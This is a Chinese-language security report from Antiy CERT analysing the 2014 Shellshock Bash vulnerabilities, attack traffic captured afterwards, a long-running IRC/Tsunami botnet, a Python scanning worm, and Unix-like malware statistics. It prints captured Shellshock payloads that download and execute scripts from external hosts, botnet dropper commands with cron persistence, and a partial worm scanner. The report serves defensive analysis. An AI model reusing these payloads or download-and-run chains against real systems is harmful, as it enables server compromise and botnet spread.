"破壳"漏洞的关联威胁进化与类UNIX系统的恶意代码现状
——“破壳”相关分析之三

安天安全研究与应急处理中心(安天 CERT)
分析报告PDF下载

首次发布时间:2014年10月9日10时
本版本更新时间:2014年10月14日17时10分


安天CERT 925日凌晨开始响应“破壳”漏洞,先后在925日发布了《“破壳”漏洞(CVE-2014-6271)综合分析》[1],在930日发布了《“破壳”漏洞相关恶意代码样本分析报告 ——“破壳”漏洞系列分析之二》[2],并均更新了多个版本。经过对“破壳”漏洞半个月的持续跟踪与分析,本报告将安天CERT近阶段分析工作进行阐述。

2.1         “破壳”漏洞综述

20144月的“心脏出血”(Heartbleed)漏洞被安天和多个安全厂商都惊呼为几年内最严重的安全危机,其引发的“出血”效应不过六个月,破壳又被安全业内认定为更为严重的漏洞。这是一种过度紧张?还是恰如其实?而两者是否存在一些微妙的关联?

Heartbleed漏洞让开源界和安全工作者认识到,开源系统所获得的安全关注度是高度不均衡的,类似Linux内核等场景聚焦了过多的研究者,而在OPEN SSL这种广泛使用的、异常关键、但却又是外围应用环节的软件,反而一直被作为一种具有想象安全的既定事实来看待。没有想到一个安全环节自身是不安全的,就像很早以前用户不会认为反病毒软件本身也可能有严重的安全故障一样。但这样的“灯下黑”式的盲点效应,绝不只是在“Heartbleed”身上存在。多个知名项目实际上资金短缺,人手匮乏的现状得到了关注。而还有项目居然“来历不明”,如密码学家们惊诧地发现,在安全界拥有很多拥趸的开源加密软件Truecrypt,甚至没有人知道来自何方。因此Heartbleed带动了开源界的问题曝光,带动了全面的审查开源系统漏洞,减少盲点的活动热潮。而Heartbleed也带来了对脆弱点分布的更多思考,让更多对内核的关注扩展到外围和连接部,扩展到被认为不可能发生问题的场景。而类似Bash这样的“古老”的代码,也就自然重回代码审计研究者的实现。如果要说“心脏出血”的爆发与“破壳”的被发现有什么关联,或许这就是其中的关联。

GNU Bash系列的第一个漏洞,漏洞编号CVE-2014-6271,根据NVD的相关信息,受漏洞影响的Bash版本是1.14.04.3,版本4.3是漏洞被公布时的GNU Bash的最新版本。而1.14.0版本发布于1994年,所以根据NVD的信息判断本漏洞已存在20年。而在编写本次系列分析之一《“破壳”漏洞(CVE-2014-6271)综合分析》中,安天CERT验证了其版本3.0到版本4.3均存在此漏洞,我们根据版本3.0的漏洞至少存在10年的估计来看,要延长了一倍这个英文名称为Bash Shellshock[4]X-CERT命名其中文名称为破壳[1]的漏洞影响大部分类UNIX[7]操作系统的时间,并且所有漏洞研究相关机构均将此漏洞定为最高响应级别。而CVE-2014-6271只是一个开始,此漏洞由于牵扯相关应用面积过大,难以彻底修补,导致了多次补丁都不完整,所以又出现了CVE-2014-7169[8]CVE-2014-6277[9]CVE-2014-6278[10]从而成为一组系列漏洞。同时因为漏洞的利用方法及操作较容易[1],所以此漏洞发布后网络迅速出现了利用此漏洞的攻击事件。

2.2         “破壳”漏洞的披露的过程

“破壳”漏洞的原理已在《破壳”漏洞(CVE-2014-6271)综合分析》报告中进行分析,本文不再赘述。下面结合图2-1进行“破壳”漏洞的披露与修补迭代过程解读:

Ø  924日:CVE-2014-6271被公开,补丁也快速形成,但因补丁修复不完整导致CVE-2014-7169

Ø  927日:因前两个漏洞补丁修复不完整导致CVE-2014-6277

Ø  930日:因在前三个漏洞补丁修复不完整导致CVE-2014-6278

Ø  928日:Bash的两个溢出漏洞又被公开CVE-2014-7186[11]CVE-2014-7187[12]

21 “破壳”漏洞的披露与修补迭代


2.3          “破壳”漏洞的影响范围情况

根据GitHub网站[3]已公布的此漏洞信息,截至到目前“破壳”漏洞所影响的第三方软件已有十余种之多,而且这些第三方软件大多数为开源软件,被不同类别的操作系统所支持;或者是一些应用十分广泛的软件,例如Oracle等;随着时间的推移所影响的范围还会不断的被公布出新的第三方软件,图2-2中展示了“破壳”漏洞目前的影响范围。

22“破壳”漏洞的影响范围

2.4         Android平台存在潜在风险

截至到目前Google官方发布的Android平台不存在“破壳”漏洞。但未来的Android系统如果功能增强,或一些第三方将Android修改后的操作系统,可能会存在此漏洞。下面的测试用例就可以触发“破壳”漏洞:

1)        首先安装BusyBox Pro工具(安装时勾选env命令);

2)        然后安装GNU bash shell(bash X)

3)        最后执行“破壳”漏洞测试命令,见图2-3Android手机测试,“破壳”漏洞执行成功。

23 Android手机测试

3.1         攻击载荷的提取

我们通过安天“探云”系统及形成部署的VDS网络病毒监控设备进行了每日攻击包捕获,并进行了数据包的对比分析及对应的攻击载荷的提取;但仍存在攻击载荷下载地址已经失效的问题。在表3-1中列出了HTTP协议头的Host字段与User-Agent字段,Host中给出了被攻击的IP地址,User-Agent是漏洞的利用情况,其中漏洞的攻击载荷是以wgetcurl命令进行下载,具体下载URL对应的文件,便是要提取的关键恶意代码。

31攻击载荷的提取举例

host

User-Agent

URL

下载成功

125.27.246.90

: () { :;}; /usr/bin/wget --tries=1 --timeout=5 -O /tmp/wwtmp.py http://web5.mooo.com/wwpy.jpg?125.27.246.90&&/usr/bin/python /tmp/wwtmp.py

http://web5.mooo.com/wwpy.jpg?125.27.246.90

58.56.83.213

: () { :; };/bin/bash -c 'wget -O /tmp/helper.pl http://pastebin.com/raw.php?i=v999YNks; chmod +x /tmp/helper.pl; perl /tmp/helper.pl'

http://pastebin.com/raw.php?i=v999YNks

60.216.4.132

: () { :;}; /bin/bash -c "cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji"

http://89.33.193.10/ji

…… (略)

www.klariti.com

: () { :;}; /bin/bash -c "/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update"

http://google-traffic-analytics.com/cl.py

jnsjkfyy.com

: () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*

http://195.154.184.150/404.cgi

3.2         网络数据包的变化

除进行功能载荷的提取外,在数据包的内容上随着时间的变化也存在着一定的变化规律。

Ø  “破壳”漏洞刚刚被公布初期,大多数据包以测试此漏洞为主,例子见数据包示例1

Ø  随后出现利用漏洞进行DDOS攻击的数据包,例子见数据包示例2

Ø  随后出现利用漏洞进行携带攻击载荷的数据包,例子见数据包示例3

Ø  随后出现携带攻击载荷的漏洞位置不固定的数据包,例子见数据包示例4

3.2.1          数据包示例1:测试

GET /cgi-bin/bb-hist.sh HTTP/1.1

Host: 124.128.82.142:80

User-Agent: () { :; }; echo X-Bash-Test: `echo wjdcMgz2Re`;

3.2.2          数据包示例2DDOS

GET / HTTP/1.0

User-Agent: () { :; }; ping -c 46.161.41.142

Accept: */*

Referer: () { :; }; ping -c 46.161.41.142

Cookie: () { :; }; ping -c 46.161.41.142

Host: () { :; }; ping -c 46.161.41.142

3.2.3          数据包示例3:攻击载荷位于User-Agent

User-Agent: () { :;}; /bin/bash -c "/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update"

Host: sex-o-sex.erog.fr

Referer: http://sex-o-sex.erog.fr/cgi-sys/entropysearch.cgi

3.2.4          数据包示例4:攻击载荷可位于GETCookieUser-AgentReferer

GET /?x=() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0

Host: jnsjkfyy.com

Cookie: () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*

User-Agent: () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*

Referer: () { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*

3.3         利用“破壳”漏洞进行攻击的相关统计

我们选取一台用于威胁感知的VDS网络病毒监控系统设备在930日到1011日(共计12天)的监控数据进行分析;将监控数据中利用破壳漏洞攻击的事件分离出来,进行攻击次数统计。并将对外攻击次数的TOP10 的源IP地址形成表3-2

32 IP攻击次数排名Top10(源自:一个VDS探头数据)

序号

IP

发起攻击次数

国家

1

78.60.*.***

834

立陶宛

2

8.37.***.***

675

美国

3

142.4.***.***

547

加拿大

4

93.174.**.**

483

荷兰

5

78.39.***.*

457

伊朗

6

180.186.***.***

317

中国(北京市电信)

7

118.192.**. **

148

中国(北京市联通)

8

62.210.**.***

133

法国

9

46.161.**.***

162

俄罗斯

10

46.4.**.**

146

德国

1)        3-1中展示了利用破壳漏洞进行攻击的每日攻击次数统计;在930日、101日离漏洞爆发的时间较近,攻击数据包中存在较多的测试或无载荷的探测包;在1010日等后期测试探测包明显减少,大部分为具有载荷的有效攻击数据包;总体上攻击事件一直较为活跃,而且因为修补漏洞的不完整,攻击方法在少量修改后,依然有效,所以攻击事件将会继续持续发生,直到破壳漏洞被基本彻底修补完整为止。但从总体上看,呈现下降趋势。

31利用破壳漏洞攻击的每日次数统计

2)        3-2 展示了利用“破壳”漏洞进行发起攻击IP的地域分布情况,从图上可知,利用破壳漏洞的攻击源可能有较为广泛的分布。这种攻击可能来自攻击者通过已经掌握在手中的肉鸡体系分发扫描任务,也可能来自利用破壳漏洞蠕虫的传播过程。由于这种攻击呈现出更多的大面积、非定向的特点,因此IP来源的地理位置能说明问题变得十分有限,但也一定程度上会体现一个国家节点基数以及弱节点的比率。(当然由于用于抽取数据分析的节点在中国大陆境内,其无疑更多会感知到从中国境内发起的扫描。)

32发起攻击IP的地域分布情况

4.1         一个存在已久的僵尸网络

在《“破壳”漏洞相关恶意代码样本分析报告 ——“破壳”漏洞系列分析之二》中,安天CERT对利用“破壳”漏洞进行传播的僵尸网络样本进行了分析。这不是一组新出现的僵尸网络样本,而是一个存活超过三年时间之久,不断通过各种漏洞持续传播的样本;样本为了更好地进行传播与功能的更新,也一直在出现新的变种。图4-1在时间上阐述了此僵尸网络对漏洞的利用过程。表4-1是在regular.bot为依据进行的演变对比。

41利用“破壳”漏洞传播的BOT时间轴

41 BOT演变对比列表

时间

regular.bot主要内容

恶意程序类型

2012.07.06

wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php

wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa

wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_

时间太久未取得原始文件

2013.10.30

wget http://stablehost.us/bots/lol.c -O a.c

gcc -o .a a.c

rm -rf a.c

chmod +x .a

./.a

rm -rf cmds.sh

echo "@weekly wget -q http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/corn

Tsunami Bot

C&Clinksys.secureshellz.net

2014.7.20

wget $URL/a –O $PATH1/.tmp

wget $URL/a.c –O $PATH1/a.c

gcc –o $PATH/.tmp $PATH1/a.c

$PATH/a.c

Tsunami Bot

C&Clinksys.secureshellz.net

2014.09.28

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;

curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;

gcc -o /tmp/a /tmp/a.c;

/tmp/a;

rm -rf /tmp/a.c;

wget http://stablehost.us/bots/a -O /tmp/a;

curl -o /tmp/a http://stablehost.us/bots/a;

chmod +x /tmp/a;

/tmp/a;

wget http://stablehost.us/bots/darwin -O /tmp/d;

curl -o /tmp/d http://stablehost.us/bots/darwin;

chmod +x /tmp/d;

/tmp/d;

wget http://stablehost.us/bots/pl -O /tmp/pl;

curl -o /tmp/pl http://stablehost.us/bots/pl;

perl /tmp/pl;

rm /tmp/pl;

Tsunami BotPerl Bot

C&Clinksys.secureshellz.net

regular.bot添加自动更新

2014.10.07

wget http://205.237.100.170/manual/a.c -O /tmp/a.c;

gcc -o /tmp/.a /tmp/a.c;

chmod +x /tmp/.a;

/tmp/.a;

rm -rf /tmp/.a;

.C源码 IRC Bot

C&Cx.secureshellz.net

结合图4-1与表4-1进行简要的说明:

Ø  201276日:从stackexchange上一位用户的提问[6]中分析可知其中的攻击载体与本次利用“破壳”漏洞的僵尸网络的攻击载体是同一个(stablehost.us/bots/regular.bot);且行为也大致相同,都是下载其他文件编译、执行。只是脚本内容稍有不同,通过文件内容,能够发现2012年这次攻击可能针对的是PHP相关主机。

Ø  20131031日:基于第三方资源,安天CERT拿到了该攻击载体stablehost.us/bots/regular.bot,该文件中命令明显减少,只下载两个文件编译、执行。

Ø  2014720日:stablehost.us进行了更新,从图4-2可知一共更新3个文件,攻击载体改名为regular.bot2,负责下载aa.c文件,但并没有执行它们。

42 2014720stablehost.us更新

Ø  接下来就是本次“破壳”漏洞分析过的文件,安天CERT2014928日捕获首次攻击,攻击载体regular.bot,该文件新增下载perl脚本、64elf文件并执行,还添加了自动更新。

Ø  在发布了“破壳”漏洞相关分析报告后,2014107日,安天CERT再次发现http://stablehost.us/bots/regular.bot 文件被更新了,这次更新后,文件中命令非常简洁,只是下载a.c编译并执行,与之前“破壳”漏洞相关分析报告中的BOT相同,只是本次修改了服务器地址为: x.secureshellz.net

由上述一系列的持续更新来看,该僵尸网络是一个运作已久的组织所管理,最早可能要追溯到2012年或更早;该组织采取的regular.bot文件是一个攻击载体,攻击者可以根据各种漏洞迅速修改定制,能够很快的利用最新的漏洞传播发展僵尸网络。

4.2         新捕获的另一个IRCBOT攻击

2014109日安天VDS又捕获到一个新的利用“破壳”漏洞进行攻击的事件,攻击者下载一个perl脚本到目标机器运行。

() { :;}; /bin/bash -c "cd /var/tmp ; rm -rf j* ; wget http://89.33.193.10/jiw ; lwp-download http://89.33.193.10/jiw ; curl -O /var/tmp/jiw http://89.33.193.10/jiw ; perl /var/tmp/jiw ; rm -rf *jiw"

Perl脚本的路径在http://89.33.193.10/jiw,对应的域名为kiprosmarket.in,该目录下还有http://89.33.193.10/jihttp://89.33.193.10/juhttp://89.33.193.10/j三个文件,这四个文件都是perl脚本编写的bot程序,四者只是在服务器IP和端口有差异,其他代码完全一致,下图是部分代码截图。

四个脚本差异对比:

42脚本差异对比

脚本路径

脚本内IRC服务器地址

IRC Name

http://89.33.193.10/jiw

199.114.220.147

#gnu

http://89.33.193.10/ji

64.235.56.228

#gnu

http://89.33.193.10/ju

64.235.56.228

#bot

http://89.33.193.10/j

64.235.56.228

#gnu

安天CERT针对两个IRC服务器进行了连接尝试,相关操作如下:

1)        下载这些脚本并尝试连接IRC服务器,其中只有一个IP地址能够连接。

2)        连接后通过list命令发现此IRC通道中有三个房间。以连接#gnu房间为例,当时连接数是380

3)        过一段时间后针对房间进行刷新,新增了一个连接,可判断该攻击仍在继续。

4)        通过IRC命令查询部分主机信息,其中大部分主机于107日连接,可判断此次攻击发起时间是2014107日或更早。

虽然“破壳”漏洞已经公开了数日,且官方也已经发布了更新补丁,但是通过新捕获的攻击事件来看,利用此漏洞进行的攻击并没有停止,且在一段时间内利用此漏洞进行攻击的活动会非常活跃。

4.3         新捕获的蠕虫攻击

在第三章的表3-1中,第一个数据包摘要信息搭载的攻击载荷便是一个典型的python蠕虫。

: () { :;}; /usr/bin/wget --tries=1 --timeout=5 -O /tmp/wwtmp.py http://web5.mooo.com/wwpy.jpg?125.27.246.90&&/usr/bin/python /tmp/wwtmp.py

结合下面列出蠕虫的部分关键的代码进行说明:

1)        此蠕虫开启多个线程进行网络扫描;

2)        扫描中随机分配待扫描IP

3)        当攻击成功后将自身从网络下载并执行;

4)        此蠕虫没有下载过多的恶意代码,而是将攻击成功(存在此漏洞)的IP传回到WEB端进行保存,以待攻击者进行二次利用。

#!/usr/bin/python

def testfunc(arg1,arg2):

        ip1 = random.randint(1,254)

        ip2 = random.randint(0,255)

        ip3 = random.randint(0,255)

        ip4 = random.randint(0,255)

        ip="%d.%d.%d.%d" %(ip1,ip2,ip3,ip4)

        ag="() { :;}; /usr/bin/wget --tries=1 --timeout=5 -O /tmp/wwtmp.py http://web5.mooo.com/wwpy.jpg?%s&&/usr/bin/python /tmp/wwtmp.py" %(ip)

        bg="() { :;}; /usr/bin/python /tmp/wwtmp.py"

 

        try:

            req=urllib2.Request(u[0])

            urllib2.urlopen(req, timeout = 5)

           else:

            for j in range(1,11):

                try:

                    req=urllib2.Request(u[j])

                    req.add_header('User-Agent', ag)

                    urllib2.urlopen(req, timeout = 5)

                except:

                    continue

for i in range(1, 20):

    thread.start_new_thread(testfunc,(0,0))

 

while 1:

    sleep(10000)

5         UNIX系统的恶意代码现状

“破壳”漏洞的广泛影响,在于GNU Bash的广泛分布。GNU Bash在完全兼容Bourne Shell的基础上功能又有所增强,包含了C ShellKorn Shell中很多优点,在编辑接口上更灵活,在用户界面上更友好。因其为开源程序且有诸多Shell的长处,所以Bash成为Linux的默认Shell,同时也被应用于大多数的类UNIX操作系统中。

而类UNIX系统的自同一个原点展开,一脉相承的特点,导致了同一个漏洞影响到多个操作系统的问题出现。Ken Thompson等大师在上世纪60年代末开启了UNIX系统创世之旅,而这一种子今天已经成长为一个庞大的操作系统家族,这个家族被称为类UNIX操作系统。

维基百科对“类UNIX”描述为:指各种 UNIX的派生系统,比如FreeBSDOpenBSDSolaris等,以及各种与传统UNIX类似的系统,例如MinixLinuxQNX等。它们虽然有的是自由软件,有的是私有软件,但都相当程度地继承了原始 UNIX 的特性,有许多相似处,并且都在一定程度上遵守POSIX规范。[7]UNIX的具体发展可见图5-1。值得一提的是AndroidIOS也有类UNIX家族的基因血统。

51  UNIX操作系统进化史

UNIXWindows孰优孰劣一直是被长久争论的话题,而从其原点来看,Windows以个人用户为起点,基本达成了对桌面系统的统治,因此以便利、友好而著称,并在引入了DEC的经验后,开始向服务器系统演进;而UNIX系统显然初始是为小型机、服务器所设计,但过去若干年也开始向桌面扩展,并靠AndoridIOS的崛起统治了智能终端。与Windows操作系统是商业闭源系统不同的是,类 UNIX系统中有大量免费开源的操作系统,这也使得开源社区众多,各种发行版本百家争鸣、百花齐放。这些开源项目也为中国发展国产操作系统提供了最基本的基础。

5.1         UNIX在不同领域的应用

随着类UNIX系统的快速发展,各发行版本的不断推出,已经广泛应用到嵌入式设备及社会的各个领域,图5-2展示出了类UNIX在各个不同的领域所发挥的作用。

52 基于类UNIX系统的应用

5.2         UNIX安全漏洞统计

由于类UNIX系统家族谱系非常复杂,大量的分支目前事实上已经名存实亡,因此也没有得到安全研究者更多的关注,其没有真正经历完整严苛的攻防意义上的代码检验,其漏洞数量并不能真正反映其系统的安全情况。在类UNIX阵营,具有分析意义的主要还是Linux,以及在此基础上衍生的Android这样的宠儿。

我们在此前文献中提供了表5-1,我们统计了Linux内核漏洞、主要发行版漏洞,并以类UNIX的另一分支FreeBSD作为对比,从这里也可以看出由于Linux系统的特点,漏洞分布既可能是内核漏洞,亦可能是发行版漏洞。但同时发行版也存在着冷热不均的情况,比如Redhat Linux有更多漏洞的原因。可能与其使用广泛,演进较快有关,而一些其他比较冷清的发行版分支漏洞较少,可能只是因为他们没有被关注。

51 Linux内核主要发行版本与FreeBSD对比情况

数据来源:根据CVE Details (www.cvedetails.com)数据统计

时间 

Linux Kernel

Redhat Linux

Gentoo

Ubuntu

Debian

Suse

FreeBSD

2000

7

48

0

0

16

18

27

2001

22

49

0

0

33

21

35

2002

16

23

0

0

8

9

29

2003

19

37

4

0

10

4

13

2004

58

48

46

5

21

33

15

2005

109

99

79

44

52

83

16

2006

94

11

3

9

12

9

27

2007

76

38

8

5

12

10

6

2008

76

36

7

3

26

4

14

2009

112

17

0

8

10

1

11

2010

153

40

0

1

6

1

8

2011

145

35

6

3

5

1

10

2012

71

44

4

0

11

0

6

2013

172

191

4

1

17

2

12

2014

35

71

0

3

12

5

2

对比LinuxWindows的安全情况,是很多人比较热衷的,我们也可以形成如图5-3,但正如之前的因素,这种统计可能无法表明任何问题。

53  2000-2013LinuxWindows漏洞数量对比

数据来源:根据CVE Details (www.cvedetails.com)数据统计

5.3         UNIX恶意代码统计

“破壳”漏洞荡起的涟漪也间接说明了攻击者的变通性与手段之快,在漏洞的载荷中不仅仅包含了ELF文件,而且还包括了各种源码级恶意代码:CPerlPythonBash等,有的可以利用类Unix系统丰富的脚本支持环境执行,有的投放上去之后编译,充分利用平台的环境,达到最佳的效果。能够达到源码级传播与执行的效果是因为攻击者因平台而改变,类UNIX提供了这样的条件。

攻击者倾向于攻击用户量大的主流类UNIX操作系统,表5-2列出了LinuxUNIXOSXAndroidOSIphoneOS五个主流平台上的恶意代码家族数量。每个家族又都可能对应若干乃至大量的变种。但这种统计中是以不同平台的二进制代码为统计标准的,因为很多脚本具有跨平台的特点,难以算入某个操作系统的名下。

52UNIX主流操作系统恶意代码家族统计

UNIX主流操作系统

家族数量

Linux

631

AndroidOS

742

IphoneOS

16

OSX

173

Unix

109

下面以类UNIX中的Linux操作系统为例进行恶意代码的分类家族统计,截止到目前为止Linux平台的家族总数:631个,变种总数:2202个,恶意代码类别主要为以下几类:


Ø  Worm         蠕虫

Ø  Virus          感染式病毒

Ø  Trojan        木马

Ø  HackTool    黑客工具

Ø  SpyWare     间谍软件

Ø  RiskWare    风险软件

*此处的间谍软件并非是指有"间谍行为"的软件,而是指一些在可能在潜伏系统进行一些低风险侵害的软件,可以说是是广告件和色情件等的统称。其类似于部分厂商所使用的PUA(Potentially Unwanted Application)这一分类。


5-4中展示出各类别所占比情况,木马占比最高为65%,木马中攻击行为包括但不限于远控、下载、DoSFlooder、代理、投放、窃取密码。蠕虫占比4%,主要分为IRC蠕虫、邮件蠕虫、网络蠕虫等。风险软件占比排名第二,主要是因为Linux中存在大量开源的可被攻击者利用的正常软件,攻击者可借助这些正常软件的组合达到其攻击、扫描等目的。

54  Linux平台恶意代码家族的分类统计

5.4         UNIX常有的威胁举例

UNIX系统是系统攻防的鼻祖系统,我们今天看到的大量威胁,都可以在早期UNIX系统攻防中找到原点,因此类UNIX除了在漏洞、恶意代码方面的威胁外,还存在访问控制、本地提权等威胁,图5-5列举了类UNIX系统及应用常见的安全威胁。

55 UNIX下的安全威胁

5.5         UNIX系统的一些安全事件案例

UNIX系统的安全威胁历史悠久,也不胜枚举,但对很多普通用户,并不是一个非常了解的领域,因此我们整理了一些典型的案例。

Linux恶意代码为例,Staog[19][20]Linux系统下的第一个恶意代码,据维基百科介绍:Staog是于1996年被发现,出自VLAD组织,以汇编语言编写,感染ELF文件,尝试获取root权限。随后不断有Linux恶意代码被发现,例如Bliss病毒[21]Tuxissa病毒[22]Badbunny病毒[23]HandThiefOperation Windigo等。下面列举了一些以典型漏洞和网络地下经济的重要侵害场景为例的安全事件。

5.5.1           典型漏洞 -  Heartbleed漏洞

201447日,OpenSSL漏洞(Heartbleed,译为“心脏出血”)被曝光,CVE编号为CVE-2014-0160,该漏洞会导致内存越界,攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中64K的数据,这些数据可能是内存中的用户名、密码、个人相关信息以及服务器的证书等私密信息。漏洞详情请见:《Heartbleed漏洞(CVE-2014-0160FAQ[18]Heartbleed是一个典型的类UNIX系统应用漏洞,在出现时被业内称为3年来最严重的安全漏洞。

5.5.2          典型漏洞 -  OpenOffice漏洞

OpenOffice[24]是非常流行的办公室软件套件,其被广泛应用于LinuxMacOS XSolaris等操作系统平台上,表5-3列出了不同年份所公布的OpenOffice的漏洞情况。

53 OpenOffice漏洞信息

CVE(CAN) ID

漏洞说明

CAN-2005-0941

OpenOfficeStgCompObjStream::Load()函数中存在安全漏洞。

CVE-2006-3117 

OpenOffice处理畸形XML文件时存在漏洞,本地或远程攻击者可以利用此漏洞造成堆溢出导致执行任意指令。

CVE-2007-2834

OpenOffice组件的TIFF解析代码在解析TIFF目录项的某些标签时,导致分配不充分的缓冲区,而这又会触发堆溢出。

CVE-2009-2949

CVE-2009-2950

CVE-2009-3301

CVE-2009-3302

LZW解压GIF文件内容时存在堆溢出。

解析XPM文件时存在可导致堆溢出的整数溢出。

解析Word文档中的sprmTDefTablesprmTSetBrc表格属性时存在整数溢出和堆溢出漏洞。

CVE-2010-2936

Impress在处理输入文档中的多边形和过滤文件的词典属性项的方式存在可导致堆溢出的整数截尾错误。

CVE-2013-2189

处理畸形DOC文件内的PLCF数据会造成内存破坏,导致拒绝服务。

5.5.3          典型漏洞 -  LibTIFF漏洞

LibTIFF[25]是可以在LinuxUnix等多种平台上编译的开源代码,是一个用来读写标签图像文件格式(简写为TIFF)的。表5-4列出了不同年份所公布的LibTIFF的漏洞情况。

54 LibTIFF漏洞信息

CVE(CAN) ID

漏洞说明

CVE-2009-2347

其中tiff2rgba工具所使用的cvt_whole_image函数和rgb2ycbcr工具所使用的tiffcvt函数没有正确地验证图形的宽度和高度,在使用宽度和高度值计算raster缓冲区大小时可能出现最终可导致堆溢出的整数溢出漏洞。

CVE-2010-1411

LibTIFF库的FAX3解码器中的Fax3SetupState()函数在解析畸形TIFF文件时存在最终可导致堆溢出的整数溢出漏洞。

CVE-2011-0192

在解码CCITT Group 4压缩的TIFF图形时LibTIFF/tif_fax3.h"EXPAND2D()"宏中的边界错误,可被利用通过特制的TIFF图形造成堆缓冲区溢出。

CVE-2012-5581

LibTIFF在处理DOTRANGE标签时存在栈缓冲区溢出漏洞。

CVE-2013-1960

LibTIFF的工具tiff2pdf在函数tp_process_jpeg_strip()的实现上存在栈缓冲区溢出漏洞。

5.5.4          网络地下经济 - Hand of Thief

Hand of Thief[26][27]恶意软件在2013年被RSA分析并公布,其为一个俄罗斯网络地下经济组织所运作,此恶意代码至少支持15个不同的Linux桌面发行版(例如:UbuntuFedoraDebian等),是较为典型的基于Linux平台的网银木马。此恶意软件运行后如图5-6与图5-7所示,在20138月份左右在地下经济社区售价$ 2,000美元。

56 Hand of Thief程序

57 Hand of Thief程序

5.5.5          网络地下经济 - Operation indigo事件

Operation Windigo[28][29]事件影响超过50万台计算机以及2.5万台服务器,受影响的系统包括LinuxFreeBSDOpenBSDOSXWindows(Cygwin),具体Operation Windigo事件时间线见图5-8所示。以下对Operation Windigo事件所利用的恶意代码进行简要说明:

Ø  Trojan[Backdoor]/Linux.Ebury 功能:窃取openssl凭证,控制服务

Ø  Trojan[Backdoor]/Linux.Cdorked, 功能:Http传输重定向

Ø  Trojan/Linux.Onimki DNS 功能:劫持

Ø  Trojan/Perl.Calfbot 功能:发送邮件(C&C)

58 Operation indigo事件时间线

5.5.6          网络地下经济 黑客针对攻击程序开发悬赏

攻击者利用Windows系统的安全漏洞,将系统攻破并植入木马,抓取大量的肉鸡,用作黑色产业的地下交易以牟取利益。由于Windows 7Windows8的推出,安全性也不断的提升。攻击者开始将攻击的矛头也同时指向了类UNIX系统。类UNIX系统也存在各种各样的安全威胁,包括但不限于弱口令破解、植入木马、远程控制等。但一般地下产业比较隐蔽,难于发现;不过图5-9也展示出有公开悬赏招募开发人员写攻击代码的事件。

59  Linux+Windows集群软件开发

服务器一般比个人电脑拥有更高的配置、更大的带宽,所以攻击者们更愿意操控服务器进行DDoS攻击,以少量的成本换取更大的回报,以往用惯了Windows的肉鸡的攻击者们,对Linux集群操控便显得力不从心,有需求就有市场,图5-10是攻击者公开悬赏1000元雇佣开发DDoSLinux集群)程序,用来大规模地操控Linux机器进行攻击。

510 Linux集群程序开发悬赏

一名同行得知我们还在继续分析破壳的时候,对我们说没必要了,媒体不会太关注的。

确实有媒体告诉我们,这次媒体不会给予更多的关注,因为心脏出血报道的太热,而用户没有感受到这么大的安全威胁。因此他们在思考,是否让更多用户更感受到的才是严重威胁?

“威胁”是什么样子的?我曾听前辈讲起过DOS时代的机房,全机房都是防毒卡此起彼伏的报警声的场景;我曾目睹CIH大爆发,学校实验室里大量系统突然蓝屏的情景;我曾到用户现场响应冲击波,看到机器纷纷陷入启动倒计时。

是不是只有这个样子的才是安全威胁?是否需要是每一个、至少是大多数用户能够感受到直接的疼痛才是威胁?我想,威胁之所以被称为威胁,皆在于它本身就不是一种后果,而是可以在一瞬间,让系统崩盘或者失守,让用户付出重大代价甚至一无所有的一种可能;在于它没有固定的模式样本,我们可以对其每个变体寻找形式化的解决方法,却不能彻底穷尽其变化。在于它既追逐着价值,也寻觅着弱点,更逃逸着被侵害者的感知。而降低其后果,锁定其形态,预判其变化,也正是我辈之价值与责任。

DOS时代,PC俨然一座座孤岛,计算病毒伴随磁盘传播,如鼠疫随着航船缓慢漂泊到新的港口。互联网时代,连起一个个终端,信息快速分享,威胁亦迅速到达。云与大数据时代,资产与价值随信息的聚合而集中,威胁也不断向服务器和云端发力。当传闻大盗入城,我们胆战心惊地打开上锁的抽屉,发现那张毕生积蓄的存折还在的时候,是不是要想想,钱在银行中是否安全?显然此种情景,不是把上锁的抽屉换成保险柜,就能解决问题。而这就是云和大数据时代的威胁现状,用户的信息资产甚至实际的财产损失,可能在万里之外

